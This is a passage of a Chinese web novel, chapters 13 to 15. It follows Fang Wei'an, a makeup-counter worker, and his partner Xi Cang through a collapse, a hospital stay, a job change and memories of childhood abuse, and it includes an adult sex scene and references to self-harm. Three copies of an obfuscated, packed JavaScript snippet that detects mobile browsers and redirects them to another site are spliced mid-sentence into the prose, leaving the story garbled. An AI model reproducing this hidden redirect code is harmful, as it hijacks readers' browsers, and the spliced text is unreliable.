“我也是想让你多学习一下,品牌成立这么多年了,第一次接这种形势的赞助。咱们不仅有机会给选手化妆,人家还给了咱们联名的权限,我想着你今天过来能多积累一些经验,忙得时候怎么提供服务,怎么快速判断客户的购买意向之类的。” Leo好像又不太在乎他迟到了,表情放松许多,甚至还带着笑意。 方唯安受宠若惊,傻乎乎的,跟他说谢谢。 “谢什么,谁能不犯错呢,再加上你是初犯,昨天又加班到那么晚,迟到了也情有可原,”Leo摸着他的头,“急坏了吧,头发都乱了,看着不乖了。” 方唯安缩了缩脖子,好在刚好有人经过,Leo赶快垂下胳膊,“那行,这次记你休假半天,这阵忙完你可得好好请我吃顿饭。” 方唯安又道了一次谢才钻进休息室,换好衣服之后在凳子上坐了一阵;也许是刚才跑得太快,他有点头晕。 那天剩下的时间里,方唯安十分庆幸自己在休息室的长凳上休息的那三分钟,因为那成了他打烊前唯一的休息时间。 品牌做了节目联名产品,包括选手专属set,心水pick和经典choice,购买大全套还能解锁特典——几张印有选手照片的卡片。 专柜前面还设立抽奖台,顾客可以凭小票抽奖,头奖是参加现场录制,其他奖项也都和选手有关。 方唯安简直叹为观止,节目才播了两三期,选手们就积攒了这么高的人气——不到下午两点,他们店已经快被买空了。 好多女孩的脸上露出扼腕的表情,偷偷抓着方唯安的袖子,问他:“帅哥,我可以单独跟你买小卡吗?常里斯和刘絮声的,我多买几套set,你拿提成。” 方唯安婉言拒绝,女孩挺执着,软磨硬泡地求他,最后还是阿静过来,帮他解了围。 “我上午就是因为这个挨骂的,”他悄悄告诉方唯安,“但其实该留的客户都给留了,Leo又不傻……” 总部很快调了货过来,店里又开始忙碌,方唯安看到有人拿到了支持选手的小卡而喜极而泣,也有人咬着嘴唇,强忍眼泪离开。 Leo没有骗他,这一天他确实学会了很多销售知识,也没那么害怕跟人推销了。 商场打烊后,所有员工留下来开复盘会,总部加送了一批赠品过来。 Leo告诉他们,明天的活动将继续加码,不过他们已经完成了全年营业额,所以奖金也会翻倍。 才刚扣掉的全勤奖又加倍被他赚回来了,方唯安倍感欣慰,自豪地挺着胸脯。 这种飘飘然的成就感一直充斥在方唯安的身体里,直到他回家,站在家门口看了眼时间—— 奚沧应该早就到家了。 发现他不在,应该已经特别生气了。 方唯安翻了翻手机,这期间奚沧竟然一次电话都没给他打,看来是真生气了。 本来就累,一想到要面对奚沧,方唯安突然开始头疼,眼前一阵阵黑,脑袋越来越沉。 快要支撑不住的时候,面前的门突然开了,奚沧站在门里看着他,“刚回来?” 方唯安突然来了精神,“嗯!” 松开门把,奚沧兀自往里走,“我还以为你不回来了呢。” “肯定会回来的,”方唯安关上门,一屁股坐在玄关的换鞋凳上。 “方唯安,我想通了,你既然那么喜欢那份工作,你就做吧,”奚沧坐在沙发上说。 方唯安不可置信地看过去,却发现奚沧的脸色很不好看。 云港卫视正在重播气象预报,电视里的奚沧看上去分外有亲和力。 和现实简直判若两人。 “什么意思啊?”方唯安起身,呆呆地看着奚沧。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730275|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就在商场附近的酒店住吧,离得近,也不会耽误你上班。每天来回通勤,你也挺累。”奚沧切成云港娱乐台,《Shine in U》正在上演,刚好播到常里斯从训练基地出逃那段。 常里斯蒙头奔跑,背景音全是duang duang的音效,吵得人心烦。 奚沧把电视关了。 方唯安钝钝地问,“我去住酒店,那你住哪里?” “我住电视台呗,方唯安,你知道我每天通勤时间有多长吗?”奚沧随手将遥控器摔在沙发上,“我每天的睡眠时间还不到四小时,搬去电视台附近,我还能多睡一会儿。你上你的班,我录我的节目,这样对咱们俩都挺好的,是吧?” 这话说得很有道理,方唯安差点就要表示赞同了,可直觉一闪,奚沧现在分明是很生气的状态。 “那我跟你一起搬到电视台附近吧。”他改口说。 “你去干嘛啊,电视台离你工作的地方那么远,你想天天迟到吗?” 奚沧走到他面前,方唯安根本不敢抬头看他,只好勉为其难道:“我可以早点起床的……” “那你牺牲可真够大的,”奚沧嗤了声,“方唯安,你到底把答应过我的事情当作什么,你的承诺就那么站不住脚吗?” “不是,”方唯安着急,“奚沧,我真的很喜欢这份工作,每天都能学到新东西,Leo还说要教我化舞台妆。” 他谨慎地补充,“不然我要到一年半之后才能学。” 奚沧重重点头,“对,那你去好好跟着Leo学,每天通勤这么老远,真是辛苦你了。” 方唯安缩了一下脖子,很快软和下来,他想抓奚沧的手,却被对方躲开,只好抓着他的袖子,“对不起啊奚沧,是我言而无信,除了这个,我都可以答应你。” 没想到,奚沧甩开了他的手,“方唯安,你不用跟我装可怜,你喜欢什么就去做吧。” “除了这个,我真没有别的喜欢的了。”方唯安小声说。 “那如果让你选,工作和我,你选哪个?”奚沧直挺挺地俯视着他,方唯安被罩在他的影子里,整个世界都暗了下来。 他有点奇怪,“我必须要选吗?” “必须得选,方唯安,”奚沧说,“你选了工作,就不能和我一直生活在一起了。” 方唯安咂咂嘴,思考许久,奚沧就一直看着他。 “那我选你吧。”他垂着头,心想这道选择题的两个选项其实根本没有可比性。 无论让他怎么选,他都还是只会选择奚沧而已。 方唯安拥有的东西就那么多,一份工作,几条裙子,他自己。 奚沧是偶然掉落在他生命里的礼物,是无意在他王国停留的飞鸟,是他非要拉着奚沧成为自己的王后的。 方唯安很无奈地发现,自己并不拥有奚沧,而奚沧却拥有全部的他。 与此同时,站在他对面的人终于抿起嘴唇,藏起自己满意的表情,再次确认,“方唯安,你选我啊?” “嗯。” 哪怕一觉睡到十一点多,方唯安还是觉得很累,做下决定之后,仿佛耗尽了最后一丝力气。 他模模糊糊地张开手臂,对奚沧张了张嘴,却发现自己已经没有力气出声了。 方唯安想让奚沧抱抱他,好在奚沧很快就理解了他的意思。 他太累了。他倒进一个温暖的巢里。 13. 第 13 章 晕倒后,方唯安其实一直都有很薄弱的意识。 他感觉到自己被抱起来,有什么东西裹在他身上,他觉得很暖。 然后他觉得有点失重,不过失重感并没有持续太久,他的胸前就多了道束缚—— 他察觉自己被放到了车上,然后就睡着了。 最后,他是被鸣笛声吵醒的。睁眼一看,外面又在下雪。 下雪天有种奇怪的味道,神秘而熟悉,混合着浸湿的泥土与针叶叶梢的香气。 他想起来,好早以前自己曾经对奚沧说过,说他身上有下雪的味道,还建议他以后去一个雪很多的城市,会很适合他…… 滴———— 通往医院的路上开始堵车,奚沧急躁地狂按喇叭。 胳膊很沉,可方唯安还是伸出手去探,本来以为握上了奚沧的手腕,结果却扑了空……他的手指搭在方向盘上了。 “……”方唯安眨了眨眼睛,移开手,在半空中晃了晃,“奚沧,我没事的。” 下一秒,温热的指尖便碰上他的手背;接着,宽厚的手掌将他的手裹起来,拉到嘴边,轻轻落吻,“我知道,我们先去医院看一下。” 方唯安无力地扯了扯嘴角,“我真的没事,就是,就是太累了。” 奚沧没说什么,又吻了吻他的手指。方唯安感觉到奚沧的手指很凉,嘴唇也很凉,而且在颤。 前面的车终于开始移动,奚沧握着方唯安的手,争分夺秒地往医院赶。 方唯安迷迷糊糊地闭上眼,他做了个梦,梦里他和奚沧一起挤在一条窄巴巴的船上。 船下是一片星河,他们就晃晃荡荡地坐在上面,周围一个人都没有。 . 奚沧刚泊好车,方唯安就又醒了。 他的状态好了许多,头也没那么晕了,就是有点乏力。 奚沧解开自己的安全带,又来解开他的,方唯安握住奚沧的手,“我自己去吧,医院里人太多了。” “别担心,”奚沧微微蹙眉,“我可以戴着帽子口罩,一般人认不出来的。” 方唯安笑笑,“真的不用,万一被人认出来了怎么办……再说,”他上下打量了一下奚沧,“你还穿着家居服……” 奚沧手指空握,有些犹豫。 出来得太着急,他确实忘了换衣服;再加上车里好像只有一顶棒球帽,口罩已经用完,他还没来得及放新的。 最近真的太忙太忙…… 方唯安笑了笑,“我现在好多了,我们明天再来?” 奚沧摇头,“不行,必须今天看医生。” 他犹豫了两秒,翻出手机,扣着方唯安的手背拨了通电话…… 半小时后,奚佑在医院一楼的急诊大厅里找到了方唯安。 大半夜被哥哥一通电话从宿舍里薅出来,奚佑面色阴沉,满脸写着不乐意,对方唯安昂了昂下巴,“我哥让我陪你看病。” 方唯安也不大乐意,本来生病就难受,还偏偏要面对这个人—— 短短几秒内,他觉得自己病得更严重了。 方唯安站起来,抓着挂号单往电梯走;他特意走得很快,很不想靠近奚佑的样子。 奚佑盯着他的背影冷哼,装得那么可怜干什么? 他哥又不在,究竟想表演给谁看? 奚佑想起前段时候,他哥听到他把方唯安赶跑了,那种方寸大乱的样子。 奚佑也是第一次挨他哥的打。 第一拳落在他左边颧骨,他被惯性推翻在地,捂着脸直觉委屈。 自己在家里向来呼风唤雨,父母对他连句重话都不敢说,全家人都围着他的意志转。 可是,他哥竟然竟然因为一个外人揍了他? 奚佑捂着脸,悲愤交加,还没来得及哭,就看奚沧一脚踹在他腿上,目眦具裂,“方唯安去哪儿了?” 他哪知道啊! 后来他哥让他滚,警告他以后不要再出现在自己的房子里。 奚佑的人生观都塌了,没想到一向体贴温柔的哥哥会发这么大的火,更没想到哥哥会因为方唯安跟他生气。 个娘炮! 长了张娘们唧唧的脸,手段还那么多! 到达诊室门口,方唯安先进去,奚佑咬咬牙,还是跟了进去。 方唯安简单叙述了一遍自己的感受,医生问他有没有遭受外力冲击,他说有,拦架的时候不小心摔到地上了。 医生让他去拍脑CT,还给他开了加急。 走出诊室,奚佑突然追上来问他,“我哥带你去录节目了?” 方唯安扁着嘴往前走,并不是很想理他,“不是,是因为我工作的品牌和这个节目刚好有合作。我是去工作的。” 奚佑一脸无谓,“谁知道呢!” 方唯安抓着单子找到CT室,坐在门口等号。 雪天路滑,附近的伤患特别多,他粗粗算了算,大概还要等近20个患者。 奚佑在隔他一个座位的位置坐下,抱着手臂说:“方唯安,你是怎么让我哥这么维护你的?” 方唯安没理他,找出一条妆教视频,很认真地看起来。 “我哥很优秀的……别看我爸妈不怎么在意他,其实一直让我跟我哥多学学,”奚沧揉了揉头发,“可还我怎么学,我能学到我哥的能力,我还能复制他的运气吗?” 这条视频的主题是女团妆,方唯安一边观看一边在脑子里盘点他们店的产品,究竟哪一款能成“平替”。 “方唯安!”奚佑失去耐心了,“你到底有没有听我说话啊!” 广播叫到方唯安的名字,他站起来,从容地往检查室走。 奚佑在门口站了一阵,拍了张照片,奚沧告诉他可以回学校了。 奚佑不想走,他不想让方唯安占据他哥的时间,哪怕只有一秒。 . 晚些时候,医生看过了检查结果,宣布方唯安有轻微脑震荡,再加上睡眠不足,需要静养至少三天。 奚佑的脸臭得宛如便秘,问方唯安,“我哥都不让你休息吗?” “让啊,”方唯安替奚沧辩解,“他很体贴我的。” 奚佑哼哼了两声,体贴你还要我陪你看病? 骗骗自己得了! 医生给方唯安开了两组安神养气的药剂,方唯安躺进公共病房的病床,面色苍白地看护士将细针推进他的血管。 “你没事就走吧……”方唯安看向奚佑。 奚佑哽了哽,“我哥让我看着你” 方唯安闭上眼睛,困意再次来袭。 朦胧之际,他听到奚佑问他,“方唯安,你真的看到你爸把你妈摔死了吗?你看到那些不会做噩梦吗?” 药里有安神的作用,方唯安很快就坠入梦乡。 他梦到往事,7岁,他因为在学校表现得“男女不分”而被勒令退学,校方建议他接受相应的心里辅导。 然而他的妈妈没有让他跟心理医生大眼瞪小眼,而是带着他飞往欧洲,去找他的亲生父亲。 国外的生活很逍遥,方唯安即使终日穿着女装也不会被人嘲笑。只是他和妈妈都没想到,爸爸的生活其实并不好。 他记得沈清献跪倒在妈妈的脚边,央求她给自己一个机会。他的妈妈似乎受到打击,他们只在那里待了两周就回国了。 不久,爸爸也回国了,忽然成为一名德艺双馨的艺术家,上公开课、办培训班,出入名利场……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730276|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方唯安直到10岁才算正式和爸爸生活在同一屋檐下,那之前,爸爸只是一串很长的号码,是每次视讯电话里都会问他同样问题的奇怪的人。 “安安,你上小学了吗?” “诶,你现在几岁来着?” . 方唯安在凌晨两点的时候醒了一次,手指刚动了动,下一秒就被握住。 熟悉的声音盈在耳畔,“你听得到我说话吗?有没有哪里不舒服?” 努力掀开眼皮,确定就是奚沧在陪他,方唯安高兴的同时又有些紧张,“你怎么来了?我没事的啊……” “没关系,没什么人。”奚沧淡淡道。 方唯安强撑精神环顾四周,奚佑已经离开,公共病房里响彻着呼噜声,只有他和奚沧还醒着,慢慢将心收回肚子里。 公共病房的中间有一台电视,上面正静音播放着《Shine in U》的最新一期。 又有22名选手淘汰,演播室里哭成一片。 奚沧给他掖了掖被角,盖住他的眼睛,“睡吧。我待会让护士关掉电视。” 方唯安摇头,说没事,又警告奚沧不要随意抛头露面。 电视里开始播放选手的淘汰感言,奚沧看着,突然想起件往事,侧过头问方唯安,“你记不记得以前,你教我怎么礼貌地回应别人给我的情书?” 方唯安闻言笑了笑,“忘了啊,我还做过那种事吗?” 静默一阵,奚沧突然问,“方唯安,你真的很想把化妆作为你的事业吗?” 方唯安重重点头,“嗯!感觉很有意思,也能学到很多东西。” 奚沧抿唇,“那好吧,我可以让你做相关的工作,除非……” 奚沧再次跟他约法三章。 . 最后方唯安还是辞去了在化妆品专柜的工作,转换方向,直接拜师奚沧的御用化妆师。 新工作并不算太轻松,他要每天陪着对方走穴赶场,忙得脚底生烟。 也是因为这个契机,他可以辅佐“新师傅”参与奚沧的日常工作,见证对方不苟言笑的日常。 奚沧对工作很认真,对细节的要求更是严苛,搞得整个团队终日提心吊胆。 方唯安一周有一天时间休息,奚沧仅有半天,周三清晨,他们一起醒来。 奚沧去准备早饭,方唯安则换了条新裙子,在公寓里旋转穿梭,得意洋洋! “方唯安,好好吃饭!”奚沧警告他。 方唯安只好乖乖坐在餐桌旁,小声回应,“知道啦,奚哥!” 通往厨房的脚步顿住,奚沧回身,看着方唯安,“你叫我什么?” “奚哥啊,其他人都这么叫你!”方唯安乐呵呵道,“奚哥奚哥,感觉很难搞定的样子诶!” 奚沧走到方唯安身边,语气带着商量,“你再叫一声我听听。” 方唯安后脊发麻,摇摇头说,“我不会这么说了,奚沧。” 奚沧捏了一下他的脸,表情有点无奈,但还是从厨房里端出来他最喜欢的薯饼和厚切牛排。 饭后,奚沧要他洗碗,方唯安趴在桌子上,赖唧唧道:“我累了,奚哥。” 没想到奚沧真的没勉强他,自己去把碗洗了。 方唯安像参透什么了不起的奥义,笑眯眯地趴在洗碗池边,声音软软地说,“奚哥真厉害,奚哥帮我洗碗了诶!” 一直嘀咕到奚沧冲完所有的碗,将用过的碗碟都码进洗碗机里。 方唯安还是兴致很高,趴在料理台的台面上,很认真地感慨,“原来你喜欢别人叫你奚哥啊?” “奚哥,奚哥!”方唯安说完,自己捂着嘴巴笑了一会儿,“奚沧,我发现你挺虚荣的~” 14. 第 14 章 奚沧不仅是云港气象播报的主持人,两年前,还通过考核成为了这档节目的总编导。 成为编导之后,他明显忙了许多,就算是休假也时常接到工作电话。这阵又有人找他。 奚沧抓着手机去书房处理工作,方唯安没事干,就趴在客厅的地毯上看漫画。 他们的公寓采光很好,客厅和卧室都面向正南;放晴的时候,一整个上午这两个房间都暖烘烘、金灿灿的,像童话世界里的面包屋。 方唯安趴了一会儿,后背被阳光烘得很暖,迷迷瞪瞪快睡着时,突然感觉有什么东西顺着他的小腿一路蹦跶进他的裙子,停在他腿根儿。 他被逗得嘿嘿笑,身体一歪,奚沧不知道什么时候来了。方唯安眯着眼问:“你走路都没声音吗?” “是你睡着了吧?”奚沧的指尖搔着他的大腿,方唯安双眼紧闭,嘟囔着,“痒,别弄了!” 奚沧叹了一声,在他身边平躺,整张脸都浸泡在阳光里,很惬意的样子。 方唯安失神地看了他一会儿,眼睛都没舍得眨。 差点忘了,奚沧原来是那么那么优秀的人,这个人身上根本没有缺点嘛! 不仅没缺点,还心地善良,信守承诺,极具正义感。 再次在安州见到奚沧,对方背着双肩包,风尘仆仆地来到他面前。 “方唯安?”奚沧问。 六七年不见了,方唯安也快辨别不出奚沧的样貌了,两个人无言对视了一阵,才终于认定对方的身份。 “你怎么啦?”奚沧又问他。 那段时间的方唯安迟钝得可怕,医生解释这些都是“创伤应激反应”。任何一个在一夕之间失去重要亲人的人都有一定概率变成这样。 方唯安张了张嘴,没能发出声音,但也没哭,就那么呆呆地看着奚沧。 以及奚沧手里吃了一半的香肠包。 方唯安有个舅舅,平时跟他妈妈走动不多,在一旁替他解释,“我们问他愿不愿意去寄宿学校,他一直不答应;我们两口子工作忙,孩子也小,实在是照顾不了他。后来他说要打电话,就把你叫来了。还没顾得上问你呢,请问你是……?” “奚沧。”奚沧和他握了一下手。 舅舅歪着头,盯着这张似曾相识的脸看了一阵,然后忐忑地问:“你打算怎么处理这件事?” 彼时奚沧还没大学毕业,整日围绕着电视台和学校打转,已是自顾不暇——他哪儿知道要怎么处理? 方唯安突然站起来,指尖碰碰奚沧的手。奚沧低头看了看他,问:“你今晚先跟我回去,我们明天再想具体办法,行吗?” 见方唯安没反驳,舅舅一下子激动起来,握着他的手臂说:“哎呀对嘛,找个信得过的人商量一下未来,心里也能更踏实。唯安明天一定跟大哥哥好好聊聊,舅舅支持你的一切决定!” 奚沧没带方唯安回自己家,就近找了个宾馆住下了。 方唯安还是不怎么说话,但是很奇怪,奚沧走到哪里,方唯安就跟到哪里,很没有安全感的样子。 后来奚沧想去洗澡,实在被这个闷葫芦跟烦了,在浴室门口挡住他,“方唯安,你到底想干什么啊,直说行吗?” 方唯安扁扁嘴,很纠结的样子,过了两三秒才抬起头,问他:“你那个面包不吃了的话,我可以吃吗?” 方唯安吃了面包,自己去洗了澡,顶着一头湿漉漉的头发就钻进被子里睡下了。他睡得很沉,奚沧推了他好几下都没醒,又怕他湿发睡觉第二天头疼,换了三块干毛巾给他擦头发。 做这些事情的时候,奚沧觉得自己很像在照顾一个小孩子,又像摆弄着精美的洋娃娃,直到他发现方唯安身上的T恤也是湿的,好心地从背包里拿出一条自己的T恤想给他换上…… 然后,他看到方唯安胳膊上、肚子上的条条道道的伤痕和淤青,再往下他没敢看,也不用看了。 “哇,你不要血口喷人啊,大不了就报警!我们可没虐待过他,也许我儿子调皮了点,对他说了点不该说的话,但那些伤都是他自己弄的。我们发现之后也很惊讶,就没让儿子跟他接触了,但是我和他舅妈没亏待过他,你可以自己问!”方唯安的舅舅在电话那边解释。 奚沧想再说什么,就见方唯安醒了,皱着眉叫唤着饿。 已是深夜,酒店的厨房打烊了,奚沧去楼下的大排档打包了一份大排面,一推门就见方唯安傻愣愣地坐在床上,看到他后很恍惚地问:“怎么是你啊?” “还能是谁?”奚沧屏下一口气,叫方唯安过去吃面。方唯安的吃得很慢,但看得出来他的确是饿了。 “你舅舅家的小弟弟总是欺负你吗?”奚沧问。 方唯安垂着眼睛,腮帮子一动一动,很专心地吃着面,好像什么都没听到一样。 “你身上的伤怎么来的?”奚沧继续打探,“是你舅舅家的人弄的,还是你自己?” 抓着筷子的手顿了一下,方唯安咽下嘴里的食物,说:“奚沧,我没有地方去了。” 就连可怜兮兮的样子都透着一股矜贵,像是只很骄傲但大脑空空的笨孔雀。奚沧弯了弯嘴角,“那你没地方去了怎么办啊,难道你要跟我走?” 方唯安钝钝地看了他几秒,然后夹了一筷子面放到嘴边,“好吧。” . 无论什么时候想到这件事都还是会觉得好笑,吊诡又让人庆幸。 奚沧把方唯安带回云港,租了套房子养着他,每晚检查他的身体,看他有没有再伤害自己。 时间流逝宛如魔法,好多莫名其妙的东西,慢慢也变得水到渠成,演变为戒也戒不掉的习惯。后来的奚沧只能跟自己解释,这一切都是天意。 天注定的,谁能有办法逃开? 不过慢慢的,奚沧发现方唯安这个人真的脾气很好,好到不可思议,怎么都不会生气一样。 太阳晒得人发晕,奚沧的后背出了一点汗,支使身边的方唯安,“好热,给我扇扇风。” “哦。”方唯安坐起来,家里没有扇子,他就抓着自己的漫画书给奚沧扇风。 阳光的味道混合墨香,熏得奚沧飘飘然。 扇了没一会儿,就见方唯安皱着眉,声调故意拖得很长,“奚哥,我有点累——了——” 奚沧闭上眼睛,“可我还是很热啊。” 方唯安只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730277|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认命地继续扇风,眼睛乱瞟,就看到奚沧血色充裕的嘴唇,很像故事书里对白雪公主的描写:皮肤像雪一样白,嘴唇像樱桃一样红…… 奚沧的呼吸逐渐绵长,方唯安放下漫画书,手指在奚沧的嘴唇上点了点。 对方没醒,他就学着奚沧刚刚抚摸自己那样,指尖一跳一跳地抚过奚沧的喉结,胸口,腹肌…… 然后那只作恶的手就被抓住了。 奚沧闭着眼,似睡非醒地问:“干嘛啊?” “硬邦邦的!”方唯安感叹着,“你不是很忙吗,怎么还有腹肌啊?” 不仅腹肌,奚沧睡衣下面的胸口也鼓鼓的,手臂快要撑满整个衣袖。 “台里有健身房啊,你不会不知道吧?”奚沧说。 方唯安有点虚,“我怎么知道?我是过去工作的!” “那我就是过去健身的?” 方唯安没话了,他不怎么喜欢健身,累巴巴的,他就适合躺着,摆弄漂亮的东西。 “你今天还健身吗?”方唯安拍拍奚沧的手臂,“下午你还得上班呢,你现在就去吧,抓紧时间锻炼。” 奚沧总算睁开眼,狐疑地盯着他,“你不想我在家陪你?还是又给自己找了个工作?” “当然不是,”方唯安摆摆手,“我工作很忙的,桂桂老师很严格!” 桂桂老师是台里最资深的化妆师之一,看在奚沧的面子上才收下方唯安当徒弟,前三个月纯学习不给工资,之后可以去参加电视台的考核,通过才能上岗。 奚沧笑了一下,抓住方唯安的手,“其实我不用去台里也可以健身。” “那怎么健啊,在家里做运动吗?”方唯安很天真地看着他。 忽然天旋地转,方唯安整个人躺在地毯上,奚沧撩起他的裙子,跪在他腿间,嘴唇贴在他的耳边轻声说:“宝宝,淦你也是体力活。” 方唯安整个身体都跟在颤,为了那句“宝宝”。 所以没等奚沧的吻落下来,方唯安就努力仰起身体,勾着奚沧的脖子,主动送上自己的嘴唇。 奚沧似乎对方唯安的突然热情很惊讶,但很快就夺回了主动权,方唯安躺在地毯上,皮肤在阳光下白得近乎透明。 他失神地看着奚沧晃动的发梢,裙子好像湿了一块,拧眉看了一下,下一秒就身体一轻,被人正面抱了起来。 “地毯很扎到你了吗?”奚沧问着,将他抱进浴室,“给宝宝洗个澡。” 方唯安被那两句宝宝哄得头脑发热,抱紧了奚沧的肩膀,很急切地吻他,说:“我不在乎的。” 直接来吧。 奚沧摸摸他的头发,哄小孩一样,轻声说:“可我出汗了。” 安安是香香的小美人,要穿着漂亮的裙子,要天天开心,要拥有最完美的伴侣。 时间无声,不知何时酿下这颗偏执的种子。 以至于如果不能给方唯安最好的,奚沧就觉得是辜负。 “洗好澡,换条新裙子吧。” 淋浴房的玻璃逐渐被水汽氤氲得模糊,方唯安的十指在上面撑了一阵,可怜兮兮地叫了好几声“奚哥”。 “嗯,宝宝……” 15. 第 15 章 15(重置版) 一场酣畅的性/事刚结束,床头的手机就开始嗡嗡震动。 是奚沧的日程提醒,他现在该去上班了。 主卧有个占据一整面墙的衣柜,属于奚沧的衣物仅占其中的四分之一。他下了床,先去帮方唯安挑选好下午在家穿的裙子,然后去自己的柜子里选了件羊绒衫和宽松剪裁的西裤。 这天下午,他们俩都穿深灰色。 收拾妥当后,奚沧走回床边,方唯安抱着他的枕头睡得像头粉嘟嘟的小猪。他坏笑着,伸手捏上方唯安的鼻子。 结果,方唯安干脆张开嘴巴换气,大有一种要睡到天荒地老的意思。 预想的那种小美人蹙眉醒来,可怜楚楚地要他临别一吻的场景彻底落空了。 奚沧苦笑,只好自己俯下身,吻了吻方唯安的嘴唇。 方唯安哼唧了两声,嘟囔了句什么“王后”。 奚沧没听懂,拎上包走人。 两小时后方唯安睡醒,发现自己正大字型躺在床的正中心,奚沧肯定早就走了。 他懒懒散散地爬起来,换上奚沧留在床头的裙子,赤着脚跑去沙发上看电视。 店长的电话就在这个时候打来—— 那会儿他脑震荡,住了一天院,第二天想去店里正式递交辞呈,奚沧却告诉他所有手续已经全部处理完成,没有必要再去了。 那之后,方唯安进了电视台,开始给桂桂老师当学徒,每天异常忙碌,就再也没想起这件事。 如今店长主动来电,方唯安有点紧张,咬着手指发了一会儿呆。 见对方没有挂断的意思,他才犹犹豫豫地接起电话,姿态卑微道:“店长,对不起,之前我……” “嗐,没什么好对不起的,咱们这行流动性大,你找到了更好的出路,离开也无可厚非。” Leo的声音听起来跟平常无异,甚至更坦率豁达,方唯安稍稍放心,“谢谢店长。” “谢什么,”Leo笑了笑,“真想谢我的话,倒是可以帮我一个小忙……” Leo的声音就在耳边,方唯安却开始走神。电视里突然出现奚沧的脸,好像是《Shine in U》最新的宣传片。 奚沧站在画面正中,身后是乌泱泱的选秀选手,共同邀请大家在周五晚间准时收看节目,并为喜欢的选手投下宝贵一票。 奚沧真的很有魅力,他讲话的时候,会让人忍不住专注聆听。 待方唯安反应过来,Leo已经兀自说了许久,方唯安最后只听到他的请求,“你可以把咱们家产品拿给桂桂老师用,如果她喜欢,就可以跟我批量采买。电视台采购的流程超复杂,但你们不用操心,都交给我来准备就可以了!” 之后Leo又说了很多,还搬出他之前对方唯安的种种照顾,好像如果被拒绝,方唯安就会自然而然地成为一个忘恩负义的白眼狼一样。 可这种事毕竟不是他一个小学徒能决定的。方唯安只好硬着头皮解释,自己目前没有钱拿,只单纯跟桂桂老师学习两个月。 之后会参加电视台的入职考核,通过后才算正式被收编。 Leo劝他,可以先跟桂桂老师提议,探一探她的态度,“就算她拒绝了也没关系啊。” “这样的话,你既让桂桂老师有好产品用,又能让我们多拿一份奖金,多么两全其美啊唯安!” 方唯安只好答应帮忙问问。挂了电话,他的脑袋晕得直嗡嗡,隐隐有种不好的预感。 晚上奚沧回家,看方唯安精神不佳的样子,在他头上撸了一把,“怎么了?” 方唯安的发丝柔软,触感像光滑细腻的丝锦,奚沧没忍住又rua了rua。 “……没事。”方唯安抬起头,呆呆地看着他,“你饿吗,要不要吃东西?” 这晚方唯安煮了面,脑子里盘算着乱七八糟的东西,没留神就放了两遍盐,而且面条也煮得软趴趴的。 他吃了一口就没了食欲,不过奚沧倒是很买账,给面条过了遍凉水,又用开水稀释了面汤,呼噜呼噜把一碗都吃完了。 关灯躺进床里,方唯安难得地失眠了,烙饼似的来回翻腾身体。 奚沧终于忍无可忍,按开了灯,把方唯安从被子里揪出来,“你到底怎么了?” 方唯安的发丝都乱了,但因为很软,一缕一缕地重新乖乖垂下。 他整个人也乖乖的,“奚沧,我有件事想跟你说,你听了千万别生气……反正你先答应我。” 奚沧动动眉毛,“你先说,我再决定生不生气。” “唉。”方唯安深感小命不保,原来下午那种糟糕的预感不来自于Leo,而来自于他的奚沧王后。 方唯安于是忧愁地复述了下午Leo在电话里说的事,最后解释,“我记得你说过离职了就不要和前同事联系了。但我走的时候都没能跟他们好好道别,我觉得这样不好……” 奚沧的手早已默默攥成拳,恨得牙痒痒。说实话,方唯安的迟钝在大部分时候都可爱而无伤大雅,可碰上些特殊情况,真的挺欠揍的! 他哪是要和你联络感情啊,他就是对你贼心不死,想方设法地要跟你再次建联,寻找可乘之机。 那个人是店长,手下的人来来往往,他会每一个员工都联络吗?这么纠缠你是为了什么,你真的一点都没想过吗? 再说这个合作,单纯地给自己拉拉业绩也就罢了,谁知道这人的“货源”从哪儿来? 到时候出了事,他们所有人都能把自己摘得干干净净的,唯独你不能,方唯安,出了事就要你来担责任,你准备拿什么赔? 奚沧的沉默持续越长时间,方唯安就越感觉慌乱,皱着眉晃晃奚沧的胳膊,“奚哥,你别跟我生气了。你让我有什么事都跟你讲,现在我全都告诉你了……” 长长吐出一口气,正欲发作之时,奚沧忽然灵光一闪,态度大转弯,握上方唯安的手,“我怎么会跟你生气呢?你选择先把这件事告诉我,你做的很好!” 方唯安都错乱了,“啊?” “安安,谢谢你愿意先来征求我的意见,这样你就可以避免走很多弯路了,我也可以不用一直担心你。”奚沧将他的手抓过来,放到唇边轻吻,要多温柔有多温柔。 方唯安被奚沧接下来的话哄得飘飘欲仙,真有点称王称霸的感觉,很用力地点头称赞:“对啊,我怎么没有想到这一层呢,奚沧你真聪明啊!” 